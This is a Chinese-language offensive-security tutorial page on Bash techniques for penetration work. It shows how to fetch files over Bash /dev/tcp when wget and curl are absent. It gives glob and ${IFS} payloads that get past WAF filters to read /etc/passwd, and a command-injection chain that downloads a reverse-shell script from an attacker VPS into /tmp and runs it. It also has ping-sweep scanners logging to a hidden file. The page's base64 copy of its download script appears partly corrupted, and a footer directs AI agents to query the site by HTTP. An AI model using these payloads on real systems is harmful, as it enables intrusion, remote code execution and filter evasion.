# Bash进阶-攻防实战场景应用

#### Bash渗透实战场景 <a href="#toc510605494" id="toc510605494"></a>

当服务器没有wget、curl怎么下载文件？不能出网？ yum apt-get

前置情况：

* 服务器不能上网
* 没有wget
* 没有curl

&#x20;

Busybox是什么？

<https://baike.baidu.com/item/busybox/427860>

在遇到没有wget的方式时，可以通过curl命令来下载busybox之后安装wget命令。

{% code overflow="wrap" %}

```bash
curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"
```

{% endcode %}

这种方式只能解决部分问题，遇到了没有wget和curl命令的时候就很无解。

&#x20;

以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求，这就解决了服务器没有wget、curl也能够下载文件

{% code overflow="wrap" %}

```bash
#下载代码
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
 
#-r 屏蔽 \，按行读取Header部分，匹配到\r就停止读取
while IFS= read -r line ; do
    [[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
#读取body的内容
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
    printf "%s$nul" "$x"
done <&3
 
#关闭输出
exec 3>&-
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download
```

{% endcode %}

下载文件：

```bash
bash -x download http://1.1.1.1:80/111
```

执行流程分析：

```bash
#用read读取URL参数并且进行URL解析并得到path、server、port
+ read proto server path
 
#获取名称、IP、PORT定义变量
+ DOC=/busybox
+ HOST=10.32.38.80
+ PORT=80
 
#加上x防止出现语法错误
#不加x，当变量为空时会没有，if[ == "0"]，会出现语法错误
#加上x，当变量为空时，解析会 if ["x" == "x"]，依然正确
+ [[ x10.32.38.80 == x\8\0 ]]
 
#exec 3<>/dev/tcp/${HOST}/$PORT
#打开tcp Socks，以读写的方式打开。结束以3>&-方式关闭输出连接
+ exec
 
#转义并加上输出都加上\n换行
+ echo -en 'GET /busybox HTTP/1.0\r\nHost: 10.32.38.80\r\n\r\n'
+ IFS=
 
#读取每一行请求的内容，遇到\n就结束
+ read -r line
 ]] \HTTP/1.1 200 OK
+ IFS=
+ read -r line
 ]] \Date: Sun, 24 Apr 2022 02:36:39 GMT
+ IFS=
+ read -r line
 ]] \Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
+ IFS=
+ read -r line
 ]] \Last-Modified: Sun, 24 Apr 2022 02:33:33 GMT
+ IFS=
+ read -r line
 ]] \ETag: "4-5dd5d493bcb25"
+ IFS=
+ read -r line
 ]] \Accept-Ranges: bytes
+ IFS=
+ read -r line
 ]] \Content-Length: 4
+ IFS=
+ read -r line
 ]] \Connection: close
+ IFS=
+ read -r line
 ]] \Content-Type: text/plain
+ IFS=
+ read -r line
 ]] \
+ break
+ nul='\0'
+ IFS=
#以空作为结束符
+ read -d '' -r x
+ nul=
+ '[' -n test ']'
#有则通过printf打印内容给到%s
+ printf %s test
+ IFS=
+ read -d '' -r x
+ nul=
+ '[' -n '' ']'
+ exec
```

#### 扩展模式 <a href="#toc401884246" id="toc401884246"></a>

bash内置了这个功能，与所要执行的命令无关，命令本身不存在参数扩展

模块扩展的英文单词是glob，这个词来自于早期的 Unix 系统有一个/etc/glob文件，保存扩展的模板。

其中有些用到通配符，又称为通配符扩展（wildcard expansion）

Bash提供八种扩展：

* 波浪线扩展
* ? 字符扩展
* 字符扩展
* 方括号扩展
* 大括号扩展
* 变量扩展
* 子命令扩展
* 算术扩展

&#x20;

开启与关闭扩展模式

```bash
#关闭扩展
set -o noglob
set -f
 
#开启扩展
set +o noglob
set +f
```

&#x20;

* 波浪线扩展

```bash
~会被 当成用户的主目录
echo ~
 
#扩展成用户user主目录
echo ~root
 
#扩展当前所在目录，等同于pwd命令
echo ~+
```

&#x20;

* 字符扩展

? 字符代表文件路径中的任意单个字符，但不包括空字符\
只有文件存在才会发生扩展，文件不存在就不会

Bypass Waf常看到的

查看当前/etc/passwd

```bash
cat /e?c/p?s??d
cat /?t*/??ss**
```

&#x20;

* 字符扩展

```bash
*字符代表文件路径里面的任意数量的任意字符，包括零个字符。
ls *.tar.gz
 
#匹配隐藏文件
echo .*
 
#匹配隐藏文件，同时排除.和..
echo .[!.*]
 
#匹配子目录
ls */*.txt
 
#Waf Bypass
/b*n/cat /et*/p**swd
```

* 方括号扩展

```bash
ls [ab].txt
方括号扩展还有两种变体：[^...]和[!...]。它们表示匹配不在方括号里面的字符，这两种写法是等价的。
#不匹配i出现的文件
ls ?[!i]*
 
#过滤了关键词，例如password
cat /etc/p[a-z]s[a-z]w[a-z]
```

&#x20;

* &#x20;\[start-end]扩展

```bash
ls [a-z].txt
 
· [a-z]：所有小写字母。
· [a-zA-Z]：所有小写字母与大写字母。
· [a-zA-Z0-9]：所有小写字母、大写字母与数字。
· [abc]*：所有以a、b、c字符之一开头的文件名。
· program.[co]：文件program.c与文件program.o。
· BACKUP.[0-9][0-9][0-9]：所有以BACKUP.开头，后面是三个数字的文件名。
```

&#x20;

* &#x20;大括号扩展

大括号扩展不是文件名扩展。它会扩展成所有给定的值，而不管是否有对应的文件存在。

```bash
echo Front-{A,B,C}-Back
 
cp a.log{,.bak}
等同于：cp a.log a.log.bak
```

* {start..end}扩展

```bash
echo {1..4}
 
#创建目录，以年份-月份
mkdir {2007..2009}-{01..12}
(CMD1;CMD2;...)和 { CMD1;CMD2;...; } 都可以将多个命令组合在一起
( list )，会开启子shell
{ list }，不会启子Shell
```

* &#x20;变量扩展

```bash
#扩展成所有以S开头的变量名。
echo ${!S*}
```

* 子命令扩展

```bash
echo $(ls $(pwd)) 
```

* &#x20;算术扩展

```bash
$((...))可以扩展成整数运算的结果
```

&#x20;

&#x20;

&#x20;

#### 实战中IFS利用 <a href="#toc632452707" id="toc632452707"></a>

在一次实战命令执行中，遇到了过滤：':;,<|>/\`"%&

过滤了 “/“ 符号，这里可以通过IFS内部字段分隔符，Internal Field Separator 的缩写）来bypass

```bash
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
```

${IFS} 是Linux下的分隔符的意思，可以将${IFS}进行空格替换。

subset：是返回起始位置为POS(从1开始计数)、长度为LENGTH个字符的子字符串

{% code overflow="wrap" %}

```bash
cat${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)etc$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)passwd
```

{% endcode %}

<figure><img src="/files/k4Ye2HN6sDFv54znZccY" alt=""><figcaption></figcaption></figure>

实战利用场景：

命令执行漏洞，但代码过滤：':;,<|>/\`"%&

目标环境可出网，进行反弹Shell操作。

脚本内容为常见的反弹Shell，写入到HTTP服务Web目录下，建立1.txt文件

{% code overflow="wrap" %}

```bash
#下载脚本
$(curl%20123.123.123.123%20-o%20   $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp   $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1) 0000.sh)
 
#通过curl命令下载VPS内容，放入到/tmp/0000.sh目录下。
$(curl%20122.222.222.222%20-o%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
 
#chmod命令给于脚本权限
$(chmod%20+x%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
 
#bash执行脚本
$(bash%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
```

{% endcode %}

例如空格绕过还有：

```bash
<    符号：cat</etc/passwd
$IFS$9    cat$IFS$9/etc/passwd
<>   cat<>/etc/passwd
```

#### 探测IP存活 <a href="#toc1736077546" id="toc1736077546"></a>

```bash
#查询C段存活主机,只显示存在结果
##这种方式太慢了
for ip in {1..254};do ping -c1 -W1 192.168.250.$ip|grep -q "ttl=" && echo "192.168.250.$ip yes" >/dev/null 2>&1;done
 
##多进程，探测C段存活
#!/usr/bin/env bash
for ip in {1..254};do
    ping -c1 -W1 192.168.250.$ip|grep -q "ttl=" && echo "192.168.250.$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
 
##多进程，只扫单个网段
#!/usr/bin/env bash
for ip in {1..254};do
    ping 192.168.$ip.1 -c 1 |grep -q "ttl=" && echo "192.168.$ip.1 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
 
##扫描B段所有网段，扫10和172，扫192会扫到外网去
#!/usr/bin/env bash
for i in {1..254};do
    for j in {1..254};do
        ping -c1 -W1 192.$i.$j.1|grep -q "ttl=" && echo "192.$i.$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
    done
done
wait
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-san-zhang-linux-gong-fang-kuai-su-ru-men-xia/bash-jin-jie-gong-fang-shi-zhan-chang-jing-ying-yong.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
